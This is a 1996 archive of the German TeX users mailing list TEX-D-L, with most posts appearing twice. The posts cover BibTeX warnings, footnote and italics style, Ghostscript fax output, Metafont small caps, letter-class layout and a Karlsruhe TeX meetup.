<009A748D.380294DA.10@ChbRB.Berlin.PTB.De> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rolf Niepraschk To: Multiple recipients of list TEX-D-L Date: Fri, 23 Aug 1996 15:07:09 EDT Subject: Re: macfont, pfb2pfa Hallo Henning, sieh Dir mal auf ftp.dante.de an: /tex-archive/fonts/utilities/t1utils/ Da gibts (im c-Quellcode) u.a. t1binary, was Dein gesuchtes pfa2pfb ist. Wo Du ein executable herbekommst, weiss ich nicht (evtl. auch irgendwo auf DANTE .../mac) ...Rolf .----------------------------------------------------. | Rolf Niepraschk | | Physikalisch-Technische Bundesanstalt | | Abbestr. 2-12 | | D-10587 Berlin, Germany | | Tel.: ++49-30-3481-316, Fax.: ++49-30-3481-490 | | Bitnet: NIEPRASCHK@PTBIB | | Internet: NIEPRASCHK@PTB.DE | `----------------------------------------------------' From x41 Fri Aug 23 15:45:51 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rolf Niepraschk Date: Fri, 23 Aug 1996 15:07:09 EDT Subject: Re: macfont, pfb2pfa Hallo Henning, sieh Dir mal auf ftp.dante.de an: /tex-archive/fonts/utilities/t1utils/ Da gibts (im c-Quellcode) u.a. t1binary, was Dein gesuchtes pfa2pfb ist. Wo Du ein executable herbekommst, weiss ich nicht (evtl. auch irgendwo auf DANTE .../mac) ...Rolf .----------------------------------------------------. | Rolf Niepraschk | | Physikalisch-Technische Bundesanstalt | | Abbestr. 2-12 | | D-10587 Berlin, Germany | | Tel.: ++49-30-3481-316, Fax.: ++49-30-3481-490 | | Bitnet: NIEPRASCHK@PTBIB | | Internet: NIEPRASCHK@PTB.DE | `----------------------------------------------------' From x41 Sat Aug 24 12:13:53 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3DUS-ASCII Content-Transfer-Encoding: 7bit Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Winter To: Multiple recipients of list TEX-D-L Date: Sat, 24 Aug 1996 12:11:45 +0200 Subject: Seltsames Phaenomen! Hallo, Kann mir jemand bitte nachfolgendes Phaenomen erklaeren? Ich arbeite mit TeTex und Ghostscript V 2.62 unter Unix. Nachdem in der vergangenen Woche (am 17.08.1996) mein System neu durchcompiliert wurde, kann ich saemtliche Markierungen (Falt- und Lochmarken) im Koma-Script neu einstellen. Zum ersten male stimmen die Original eingesetzten Masse. Und nicht nur das, ploetzlich werden dafuer die erstellten Faxe um ein vielfaches verkleinert (der obere Rand vergroessert sich um ca 3cm, das Schriftbild ist nur noch eine Minatur- ausgabe, die kaum zu lesen ist). Bisher habe ich die Faxerstellung so erstellt, dass ich texconfig aufgerufen und den g3-Treiber eingestellt habe. Erst danach wurde das entsprechende Dokument in allen Phasen fertiggestellt. Die Faxerstellung habe ich dann wie foglt aufgerufen: > gs -sDEVICE=3Ddfaxhigh -sOutputFile=3D < bei einseitigen Faxen und > gs -sDEVICE=3Ddfaxhigh -sOutputFile=3D < bei mehrseitigen Faxen. Wenn ich jedoch die texconfiguration auf dem Ausgabedrucker (in meinem Fall= e ein HPd500) belasse und nicht auf g3 umstelle, werden die Faxseiten in der Groesse 1:1 erstellt. Vor dem Compilieren waren keine Unterschiede festzustellen, die Faxseiten wurden immer 1:1 erstellt, egal mit welcher Einstellung. Markus Kohm konnte mir darauf auch keine Antwort geben. Wer kann helfen, bzw. mir sagen, ob sich da etwas geaendert hat. Besten Dank im Voraus. freundliche Gruesse Bernd. -- root@reido.in-berlin.de -- ..!fub!reido!root -- Bernd Winter Phone, Data, Fax: +49 30 495 91 91 BTX / Datex-J: 0304959191-0= 001 Ein Jubilaeum ist ein Datum, an dem eine Null fuer eine Null von mehrere= n Nullen geehrt wird. Peter Ustinov From x41 Sat Aug 24 12:13:53 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3DUS-ASCII Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Winter Date: Sat, 24 Aug 1996 12:11:45 +0200 Subject: Seltsames Phaenomen! Hallo, Kann mir jemand bitte nachfolgendes Phaenomen erklaeren? Ich arbeite mit TeTex und Ghostscript V 2.62 unter Unix. Nachdem in der vergangenen Woche (am 17.08.1996) mein System neu durchcompiliert wurde, kann ich saemtliche Markierungen (Falt- und Lochmarken) im Koma-Script neu einstellen. Zum ersten male stimmen die Original eingesetzten Masse. Und nicht nur das, ploetzlich werden dafuer die erstellten Faxe um ein vielfaches verkleinert (der obere Rand vergroessert sich um ca 3cm, das Schriftbild ist nur noch eine Minatur- ausgabe, die kaum zu lesen ist). Bisher habe ich die Faxerstellung so erstellt, dass ich texconfig aufgerufen und den g3-Treiber eingestellt habe. Erst danach wurde das entsprechende Dokument in allen Phasen fertiggestellt. Die Faxerstellung habe ich dann wie foglt aufgerufen: > gs -sDEVICE=3Ddfaxhigh -sOutputFile=3D < bei einseitigen Faxen und > gs -sDEVICE=3Ddfaxhigh -sOutputFile=3D < bei mehrseitigen Faxen. Wenn ich jedoch die texconfiguration auf dem Ausgabedrucker (in meinem Falle ein HPd500) belasse und nicht auf g3 umstelle, werden die Faxseiten in der Groesse 1:1 erstellt. Vor dem Compilieren waren keine Unterschiede festzustellen, die Faxseiten wurden immer 1:1 erstellt, egal mit welcher Einstellung. Markus Kohm konnte mir darauf auch keine Antwort geben. Wer kann helfen, bzw. mir sagen, ob sich da etwas geaendert hat. Besten Dank im Voraus. freundliche Gruesse Bernd. -- root@reido.in-berlin.de -- ..!fub!reido!root -- Bernd Winter Phone, Data, Fax: +49 30 495 91 91 BTX / Datex-J: 0304959191-0001 Ein Jubilaeum ist ein Datum, an dem eine Null fuer eine Null von mehreren Nullen geehrt wird. Peter Ustinov From root Mon Aug 26 14:34:30 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Mon, 26 Aug 1996 14:34:10 +0200 Subject: Re: Stilfrage mit kursiv und Fussnoten > ich hab in Verbindung mit Kursivschreibweise eine Frage, wie es nun > richtiger geschrieben ist: > > Schreibt man: > Erkl"arungen folgen in Klammern und die Beispiele sind kursiv > gedruckt ({\em z.B. ein Beispiel}\/). > > oder: > > Erkl"arungen folgen in Klammern und die Beispiele sind kursiv > gedruckt {\em (z.B. ein Beispiel)}. Die Klammern sind nicht das Beispiel, also werden sie nicht kursiv gesetzt. > Bei den Fu"snoten am Ende eines Satzes gibt es auch zwei > Moeglichkeiten: > > Schreibt man. > > Das ist ein Satz\footnote{Wo finde ich das}. > > oder: > > Das ist ein Satz.\footnote{Wo winde ich das}. Wenn sich die Fussnote auf das letzte Wort im Satz bezieht, dann ist die erste Variante korrekt. Wenn sie sich auf den gesamten Satz bezieht, die zweite. -rz -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 5494-2295/2276 Fax: -2241 From root Mon Aug 26 14:22:00 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3DUS-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Seitz Date: Mon, 26 Aug 1996 14:18:07 +0100 Subject: BibTeX-Frage Hallo BibTeX-Gurus, als BibTeX Neuling hab ich da ein kleines Problem: Ich hab eine BibTeX Datenbank angelegt und mit bibtex uebersetzt. Nun bringt er mir folgende Warnung: This is BibTeX, Version 0.99c [4b] The top-level auxiliary file: kap1.aux The style file: plain.bst Database file #1: kap1.bib Warning--can't use both author and editor fields in Almanach:95 Warning--can't use both author and editor fields in Almanach:96 (There were 2 warnings) Die entsprechenden Passagen in der zugehoerigen Datenbank sehen wie folgt aus: @book{Almanach:90, author =3D {{Baumann}, {Elenore} and {Baumann}, {Wolf-R"udiger} and {u.a.}}, title =3D {{Der} {Fischer} {Weltalmanach} 1990}, editor =3D {{Haefs}, {Hanswilhelm}}, edition =3D "erste", publisher =3D {{Fischer} {Taschenbuch} {Verlag} {GmbH}}, address =3D {{Frankfurt} am {Main}}, month =3D "November", year =3D 1989, ISBN =3D {3-596-19090-8}, ISSN =3D {0430-5973} } @book{Almanach:95, author =3D {{Baratta}, {Mario} von and {Baumann}, {Wolf-R"udiger} and {u.a.}}, title =3D {{Der} {Fischer} {Weltalmanach} 1995}, editor =3D {{Baratta}, {Mario} von}, edition =3D "erste", publisher =3D {{Fischer} {Taschenbuch} {Verlag} {GmbH}}, address =3D {{Frankfurt} am {Main}}, month =3D "November", year =3D 1994, ISBN =3D {3-596-19095-9}, ISSN =3D {0430-5973} } @book{Almanach:96, author =3D {{Baratta}, {Mario} von and {Baumann}, {Wolf-R"udiger} and {u.a.}}, title =3D {{Der} {Fischer} {Weltalmanach} 1996}, editor =3D {{Baratta}, {Mario} {von}}, edition =3D "erste", publisher =3D {{Fischer} {Taschenbuch} {Verlag} {GmbH}}, address =3D {{Frankfurt} am {Main}}, month =3D "November", year =3D 1995, ISBN =3D {3-596-19096-7}, ISSN =3D {0430-5973} } Was mich bei der Sache wundert ist, dass BibTeX den editor bei Almanach:90 nicht anmeckert. Wer kann mir auf die Spruenge helfen? With best compliments Peter Seitz (Faculty for civil engineering) -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Verkehrswesenzeichensaal (VZS) The better drawing site :-) University of Technology Graz e-mail: Technikerstrasse 4/II seitz@bzs.tu-graz.ac.at (Internet) A-8010 Graz, Austria 2:316/5.18 (FidoNet) http://gewi.kfunigraz.ac.at/institute/dolmetsch/ -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- From root Mon Aug 26 14:29:02 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3DUS-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Seitz Date: Mon, 26 Aug 1996 14:24:15 +0100 Subject: Stilfrage mit kursiv und Fussnoten Hallo Satzprofis. ich hab in Verbindung mit Kursivschreibweise eine Frage, wie es nun richtiger geschrieben ist: Schreibt man: Erkl"arungen folgen in Klammern und die Beispiele sind kursiv gedruckt ({\em z.B. ein Beispiel}\/). oder: Erkl"arungen folgen in Klammern und die Beispiele sind kursiv gedruckt {\em (z.B. ein Beispiel)}. Bei den Fu"snoten am Ende eines Satzes gibt es auch zwei Moeglichkeiten: Schreibt man. Das ist ein Satz\footnote{Wo finde ich das}. oder: Das ist ein Satz.\footnote{Wo winde ich das}. Als TeXniker geht es mir ja nicht nur darum, dass der Text geschrieben ist, sondern dass er auch nach den Regeln der Typographie richtig geschrieben ist. Danke fuer Euere Hinweise. With best compliments Peter Seitz (Faculty for civil engineering) -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Verkehrswesenzeichensaal (VZS) The better drawing site :-) University of Technology Graz e-mail: Technikerstrasse 4/II seitz@bzs.tu-graz.ac.at (Internet) A-8010 Graz, Austria 2:316/5.18 (FidoNet) http://gewi.kfunigraz.ac.at/institute/dolmetsch/ -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- From root Mon Aug 26 16:05:14 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3Dus-ascii Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Harald HJ Bongartz Date: Mon, 26 Aug 1996 16:04:51 +0200 Subject: Re: BibTeX-Frage Peter Seitz wrote: [...] > Warning--can't use both author and editor fields in Almanach:95 > Warning--can't use both author and editor fields in Almanach:96 > (There were 2 warnings) Das ist korrekt. BibTeX erlaubt fuer @book nur author _oder_ editor. > > Was mich bei der Sache wundert ist, dass BibTeX den editor bei > Almanach:90 nicht anmeckert. Wahrscheinlich besitzt Dein Dokument keine Referenz auf Almanach:90, deshalb wird dieser Eintrag gar nicht auf Korrektheit geprueft. Ciao, Harald -- * Harald H.-J. Bongartz * Schlechte Laune ist der Schnupfen des Gemuets; laestig und ansteckend. * - Peter Horton From root Mon Aug 26 16:05:14 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3Dus-ascii Content-Transfer-Encoding: 7bit Message-Id: <3221AF03.4720@elsar1.physik.uni-bonn.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Harald HJ Bongartz To: Multiple recipients of list TEX-D-L Date: Mon, 26 Aug 1996 16:04:51 +0200 Subject: Re: BibTeX-Frage Peter Seitz wrote: [...] > Warning--can't use both author and editor fields in Almanach:95 > Warning--can't use both author and editor fields in Almanach:96 > (There were 2 warnings) Das ist korrekt. BibTeX erlaubt fuer @book nur author _oder_ editor. > > Was mich bei der Sache wundert ist, dass BibTeX den editor bei > Almanach:90 nicht anmeckert. Wahrscheinlich besitzt Dein Dokument keine Referenz auf Almanach:90, deshalb wird dieser Eintrag gar nicht auf Korrektheit geprueft. Ciao, Harald -- * Harald H.-J. Bongartz * Schlechte Laune ist der Schnupfen des Gemuets; laestig und ansteckend. * - Peter Horton From root Mon Aug 26 16:22:47 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3Dus-ascii Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Harald HJ Bongartz Date: Mon, 26 Aug 1996 16:21:51 +0200 Subject: Re: Stilfrage mit kursiv und Fussnoten Reinhard Zierke wrote: > > > ich hab in Verbindung mit Kursivschreibweise eine Frage, wie es nun > > richtiger geschrieben ist: > > > > Schreibt man: > > Erkl"arungen folgen in Klammern und die Beispiele sind kursiv > > gedruckt ({\em z.B. ein Beispiel}\/). > > > > oder: > > > > Erkl"arungen folgen in Klammern und die Beispiele sind kursiv > > gedruckt {\em (z.B. ein Beispiel)}. > > Die Klammern sind nicht das Beispiel, also werden sie nicht kursiv > gesetzt. > Besser noch benutzt man den LaTeX2e Befehl \emph: Erkl"arungen folgen in Klammern und die Beispiele sind kursiv gedruckt (z.\,B. \emph{ein Beispiel}). Dann spart man sich auch die Kursiv-Korrektur mit \/. (Wobei ich noch etwas bemerken moechte: Nach Duden soll bei mehrgliedrigen Abkuerzungen hinter jedem Punkt ein kleinerer Zwischenraum gesetzt werden, also z. B. z.\,B. statt z. B. oder z.B. Es sieht auch wirklich schoener aus. Ich benutze bei laengeren Texten selbstdefinierte Befehle fuer haeufig benutzte Abkuerzungen: \newcommand{\zB}{z.\,B.} \newcommand{\aaO}{a.\,a.\,O.} Ich weiss allerdings nicht, ob diese Regelung auch in Oesterreich gilt.) Ciao, Harald -- * Harald H.-J. Bongartz * Schlechte Laune ist der Schnupfen des Gemuets; laestig und ansteckend. * - Peter Horton From root Mon Aug 26 16:22:47 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3Dus-ascii Content-Transfer-Encoding: 7bit Message-Id: <3221B2FF.2314@elsar1.physik.uni-bonn.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Harald HJ Bongartz To: Multiple recipients of list TEX-D-L Date: Mon, 26 Aug 1996 16:21:51 +0200 Subject: Re: Stilfrage mit kursiv und Fussnoten Reinhard Zierke wrote: > > > ich hab in Verbindung mit Kursivschreibweise eine Frage, wie es nun > > richtiger geschrieben ist: > > > > Schreibt man: > > Erkl"arungen folgen in Klammern und die Beispiele sind kursiv > > gedruckt ({\em z.B. ein Beispiel}\/). > > > > oder: > > > > Erkl"arungen folgen in Klammern und die Beispiele sind kursiv > > gedruckt {\em (z.B. ein Beispiel)}. > > Die Klammern sind nicht das Beispiel, also werden sie nicht kursiv > gesetzt. > Besser noch benutzt man den LaTeX2e Befehl \emph: Erkl"arungen folgen in Klammern und die Beispiele sind kursiv gedruckt (z.\,B. \emph{ein Beispiel}). Dann spart man sich auch die Kursiv-Korrektur mit \/. (Wobei ich noch etwas bemerken moechte: Nach Duden soll bei mehrgliedrigen Abkuerzungen hinter jedem Punkt ein kleinerer Zwischenraum gesetzt werden, also z. B. z.\,B. statt z. B. oder z.B. Es sieht auch wirklich schoener aus. Ich benutze bei laengeren Texten selbstdefinierte Befehle fuer haeufig benutzte Abkuerzungen: \newcommand{\zB}{z.\,B.} \newcommand{\aaO}{a.\,a.\,O.} Ich weiss allerdings nicht, ob diese Regelung auch in Oesterreich gilt.) Ciao, Harald -- * Harald H.-J. Bongartz * Schlechte Laune ist der Schnupfen des Gemuets; laestig und ansteckend. * - Peter Horton From root Mon Aug 26 18:35:34 1996 Message-Id: <96082618352904@vmssrv.rz.uni-kiel.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Horst P. Puetz" To: Multiple recipients of list TEX-D-L Date: Mon, 26 Aug 1996 18:35:29 +0200 Subject: MEHRERE FUSSNOTENGRUPPEN Hallo, gibt es bereits einen Fussnotenstil, der 2 Gruppen von Fussnoten untereinan= der setzt (A-Fussnoten, B-Fussnoten)? EDMAC.DRV ist mir bekannt, aber edmac laeuft nur unter Plain, nicht unter LaTeX, und ich brauche z.B. supertabula= r etc. Oder hat schon jemand mal die Fussnotenbehandlung von EDMAC.DOC fuer LaTeX angepasst? Auf CTAN habe ich nichts gefunden. Wer weiss Hilfe? Besten Dank, Horst P. Puetz From root Mon Aug 26 18:35:34 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Horst P. Puetz" Date: Mon, 26 Aug 1996 18:35:29 +0200 Subject: MEHRERE FUSSNOTENGRUPPEN Hallo, gibt es bereits einen Fussnotenstil, der 2 Gruppen von Fussnoten untereinander setzt (A-Fussnoten, B-Fussnoten)? EDMAC.DRV ist mir bekannt, aber edmac laeuft nur unter Plain, nicht unter LaTeX, und ich brauche z.B. supertabular etc. Oder hat schon jemand mal die Fussnotenbehandlung von EDMAC.DOC fuer LaTeX angepasst? Auf CTAN habe ich nichts gefunden. Wer weiss Hilfe? Besten Dank, Horst P. Puetz From root Mon Aug 26 18:59:53 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann Date: Mon, 26 Aug 1996 18:59:21 +0200 Subject: Zitieren in der Fussnote (fwd) Seit ca. zwei Wochen ist folgende Frage in de.comp.tex unbeantwortet. Da das Thema mich auch interessiert (und ich keine L"osung kenne), schicke ich's `mal hier weiter. Gru"s Matthias -- Matthias Eckermann, Munich/Germany | errare (email) eckerman@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/~ud311aa/html/ | est ---------- Forwarded message ---------- Date: Mon, 05 AUG 1996 12:15:01 +0200 From: Martin Derigs Newgroups: de.comp.tex Subject: Zitieren in der Fussnote Hallo! Gibt ein Makro, dass das Zitieren in der Fussnote statt im Text unterstuetzt? Bisher zitiere ich immer mit Hilfe von \footnote{...}. Das hat den Nachteil dass Zitate und Literaturverzeichnis nicht zusammenhaengen. Andererseits moechte ich nicht auf Fussnoten beim Zitieren verzichten, da diese mehr Informationen als die kryptischen Zitate im Text enthalten und zudem den Lesefluss nicht beeintraechtigen. Martin From root Mon Aug 26 18:59:53 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann To: Multiple recipients of list TEX-D-L Date: Mon, 26 Aug 1996 18:59:21 +0200 Subject: Zitieren in der Fussnote (fwd) Seit ca. zwei Wochen ist folgende Frage in de.comp.tex unbeantwortet. Da das Thema mich auch interessiert (und ich keine L"osung kenne), schicke ich's `mal hier weiter. Gru"s Matthias -- Matthias Eckermann, Munich/Germany | errare (email) eckerman@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/~ud311aa/html/ | est ---------- Forwarded message ---------- Date: Mon, 05 AUG 1996 12:15:01 +0200 From: Martin Derigs Newgroups: de.comp.tex Subject: Zitieren in der Fussnote Hallo! Gibt ein Makro, dass das Zitieren in der Fussnote statt im Text unterstuetz= t? Bisher zitiere ich immer mit Hilfe von \footnote{...}. Das hat den Nachteil= dass Zitate und Literaturverzeichnis nicht zusammenhaengen. Andererseits moechte ich nicht auf Fussnoten beim Zitieren verzichten, da diese mehr Informationen als die kryptischen Zitate im Text enthalten und zudem den Lesefluss nicht beeintraechtigen. Martin From root Tue Aug 27 08:46:03 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Tue, 27 Aug 1996 08:44:50 +0200 Subject: Re: Metafont: Kapitaelchen Leo Broska : Ich moechte mit Metafont fuer die Pandfora-Familie einen Kapitaelchen-Font : erstellen. Oder hat das schon jemand getan? (;-)) : : Einen Versalien-Font konnte ich mir schnell aus dem Roman-Font erzeugen, : indem ich fuer die Kleinbuchstaben-Makros einfach die grossen eingesetzt : habe. : : Nun moechte ich dort diese Grossbuchstaben etwas verkleinern. Ich kenn' : mich noch gar nicht richtig mit Metafont aus: dto. fuer mich! : Gibt es vielleicht einen : Befehl mit dem man am Ende eines Zeichenmakro das gesamten Zeichen : skalieren kann? Gibt es sicher, nur: Kapitaelchen sind nur gut lesbar, wenn sie entsprechend leicht gesperrt gesetzt werden -- eine einfache Skalierung der Grossbuchstaben und der damit erhaltenen Abstaende und des Kerning reicht da nicht aus (mal davon abgesehen, dass dann die Strichstaerken nicht mehr ganz zusammenpassen). Allgemein wuerde ich solche Fragen eher mal auf der Diskussionsliste `metafont@ens.fr' stellen (eintragen mit einer Mail mit Inhalt "subscribe metafont " an listserv@ens.fr!!!). Gruss, -bernd From root Tue Aug 27 08:46:03 1996 Message-Id: <199608270644.IAA02457@isle.informatik.uni-stuttgart.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle To: Multiple recipients of list TEX-D-L In-Reply-To: : Ich moechte mit Metafont fuer die Pandfora-Familie einen Kapitaelchen-Fon= t : erstellen. Oder hat das schon jemand getan? (;-)) : : Einen Versalien-Font konnte ich mir schnell aus dem Roman-Font erzeugen, : indem ich fuer die Kleinbuchstaben-Makros einfach die grossen eingesetzt : habe. : : Nun moechte ich dort diese Grossbuchstaben etwas verkleinern. Ich kenn' : mich noch gar nicht richtig mit Metafont aus: dto. fuer mich! : Gibt es vielleicht einen : Befehl mit dem man am Ende eines Zeichenmakro das gesamten Zeichen : skalieren kann? Gibt es sicher, nur: Kapitaelchen sind nur gut lesbar, wenn sie entsprechend leicht gesperrt gesetzt werden -- eine einfache Skalierung der Grossbuchstaben und der damit erhaltenen Abstaende und des Kerning reicht da nicht aus (mal davon abgesehen, dass dann die Strichstaerken nicht mehr ganz zusammenpassen). Allgemein wuerde ich solche Fragen eher mal auf der Diskussionsliste `metafont@ens.fr' stellen (eintragen mit einer Mail mit Inhalt "subscribe metafont " an listserv@ens.fr!!!). Gruss, -bernd From root Tue Aug 27 10:28:39 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Klaus Braune Date: Tue, 27 Aug 1996 10:24:09 +0200 Subject: TeX-Stammtisch in Karlsruhe am 5. September 1996, 19:30 Uhr Liebe TeXnikerInnen, der TeX-Stammtisch in Karlsruhe trifft sich wieder am 5.9.96: TeX-Stammtisch am 9. September 1996 um 19:30 im Rechenzentrum der Universitaet Karlsruhe, Zirkel 2, 3.OG Raum 316 Falls das Wetter mitspielt, wollen wir gegen 20:30 in den Biergarten Pfannenstiel Am Kuenstlerhaus 53 umziehen. Einen entsprechenden Hinweis werden wir auf den Aushaengen an den Eingaengen des Rechenzentrums hinterlassen. Wer die Lage des Rechenzentrums oder des Biergartens nicht kennt, kann sich im WEB den Karlsruher Stadtplan ansehen und sich die Adressen heraussuchen lassen. Der Stadtplan ist im WEB zu finden unter http://rz70.rz.uni-karlsruhe.de/cgi-bin/user/ry10/stadtplan oder http://www.uni-karlsruhe.de/cgi-bin/stadtplan Dort kann nach Strassen gesucht werden (Stichwort fuer das Rechenzentrum: "Zirkel, neuer" - Planquadrat I10, diagonal gegenueber dem Regierungs- praesidium; fuer den Biergarten: "Kuenstlerhaus, Am" - Planquadrat K10). Kontakt: Klaus Braune Email: braune@rz.uni-karlsruhe.de Tel: 0721/608-4031 Zum TeX-Stammtisch sind alle, die interessiert sind, herzlich einge- laden. Die Treffen finden bis auf weiteres jeweils am ersten Donnerstag jeden Monats im Rechenzentrum statt. ******************************************************************************* Klaus Braune Zirkel 2 * D-76128 Karlsruhe Universitaet Karlsruhe Phone: +49 721 608-4031 Rechenzentrum EMAIL: Braune@rz.uni-karlsruhe.de From root Tue Aug 27 10:28:39 1996 Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Klaus Braune To: Multiple recipients of list TEX-D-L Date: Tue, 27 Aug 1996 10:24:09 +0200 Subject: TeX-Stammtisch in Karlsruhe am 5. September 1996, 19:30 Uhr Liebe TeXnikerInnen, der TeX-Stammtisch in Karlsruhe trifft sich wieder am 5.9.96: TeX-Stammtisch am 9. September 1996 um 19:30 im Rechenzentrum der Universitaet Karlsruhe, Zirkel 2, 3.OG Raum 316 Falls das Wetter mitspielt, wollen wir gegen 20:30 in den Biergarten Pfannenstiel Am Kuenstlerhaus 53 umziehen. Einen entsprechenden Hinweis werden wir auf den Aushaengen an den Eingaengen des Rechenzentrums hinterlassen. Wer die Lage des Rechenzentrums oder des Biergartens nicht kennt, kann sich= im WEB den Karlsruher Stadtplan ansehen und sich die Adressen heraussuchen lassen. Der Stadtplan ist im WEB zu finden unter http://rz70.rz.uni-karlsruhe.de/cgi-bin/user/ry10/stadtplan oder http://www.uni-karlsruhe.de/cgi-bin/stadtplan Dort kann nach Strassen gesucht werden (Stichwort fuer das Rechenzentrum: "Zirkel, neuer" - Planquadrat I10, diagonal gegenueber dem Regierungs- praesidium; fuer den Biergarten: "Kuenstlerhaus, Am" - Planquadrat K10). Kontakt: Klaus Braune Email: braune@rz.uni-karlsruhe.de Tel: 0721/608-4031 Zum TeX-Stammtisch sind alle, die interessiert sind, herzlich einge- laden. Die Treffen finden bis auf weiteres jeweils am ersten Donnerstag jeden Monats im Rechenzentrum statt. ***************************************************************************= **** Klaus Braune Zirkel 2 * D-76128 Karlsruhe Universitaet Karlsruhe Phone: +49 721 608-4031 Rechenzentrum EMAIL: Braune@rz.uni-karlsruhe.de From root Tue Aug 27 11:53:56 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Michael Johann Date: Tue, 27 Aug 1996 11:52:27 +0200 Subject: letter Hallo, bei meinen Briefen werden Absender und Adresse zu tief plaziert - mu"s ich eine andere documentclass verwenden ? \documentclass[12pt,a4paper]{letter} \usepackage{german} \address{Michael Johann ....} \signature.... \begin{document} \begin{letter}{Herrn/Frau ....} \opening ..... \closing{....} \end{letter} \end{document} P.S. ich verwende emtex - latex2e. Herzlichen Dank f"ur jede konstruktive Antwort: Michael ****************************************************************************** _/ _/ _/ Michael JOHANN _/ _/ _/ _/ _/ Universitaet Landau _/ _/ _/ _/ Institut fuer Mathematik _/ _/ _/ Im Fort 7 _/ _/ _/ D-76829 Landau, Germany _/ _/ Fax: (06341) 280131 _/ _/ Tel: (06341) 280-204 o. -171 _/_/_/_/ e-Mail: johann@aix1.rz.uni-landau.de ****************************************************************************** From root Tue Aug 27 11:53:56 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Sender: German TeX Users Communication List From: Michael Johann To: Multiple recipients of list TEX-D-L Date: Tue, 27 Aug 1996 11:52:27 +0200 Subject: letter Hallo, bei meinen Briefen werden Absender und Adresse zu tief plaziert - mu"s ich eine andere documentclass verwenden ? \documentclass[12pt,a4paper]{letter} \usepackage{german} \address{Michael Johann ....} \signature.... \begin{document} \begin{letter}{Herrn/Frau ....} \opening ..... \closing{....} \end{letter} \end{document} P.S. ich verwende emtex - latex2e. Herzlichen Dank f"ur jede konstruktive Antwort: Michael ***************************************************************************= *** _/ _/ _/ Michael JOHANN _/ _/ _/ _/ _/ Universitaet Landau _/ _/ _/ _/ Institut fuer Mathematik _/ _/ _/ Im Fort 7 _/ _/ _/ D-76829 Landau, Germany _/ _/ Fax: (06341) 280131 _/ _/ Tel: (06341) 280-204 o. -171 _/_/_/_/ e-Mail: johann@aix1.rz.uni-landau.de ***************************************************************************= *** From root Tue Aug 27 12:28:22 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Lammarsch Date: Tue, 27 Aug 1996 12:27:59 +0200 Subject: Re: Listserver-Probleme On Fri, 23 Aug 1996, Peter Schneider wrote: > Kommentar zu A1413@H in der Gruppe TeX-D-L >=3D20 > Hi Heinz, >=3D20 > HKK>Seit 15. August habe ich in beiden Gruppen keinerlei Postings mehr > HKK>bekommen, was mir ungewohnlich erscheint. > die Probleme hatte ich fr=3DF0her auch schon mal. Da war ich rausgeworfen w=3D orden > und mu=3DB1te mich neu eintragen. Schleierhaft sind mir nur die Kritereien,=3D nach > denen das geschah... Die Kriterien sind sehr einfach: In regelmaessigen Abstaenden wird von Listserv nachgefragt, ob man in der=3D =3D20 Liste bleiben will. Wenn innerhalb einer gewissen Zeit keine Antwort=3D20 eintrifft, wird der Listen-Eintrag geloescht. Dies bekommt man nochmals=3D20 mitgeteilt. Kann die Mail nicht zugestellt werden und geht wieder an den Listserv zurueck, dann zaehlt dieser die Ruecklaeufer. Wird in einem bestimmten Intervall eine gewisse Anzahl bzw. das maximale Limit 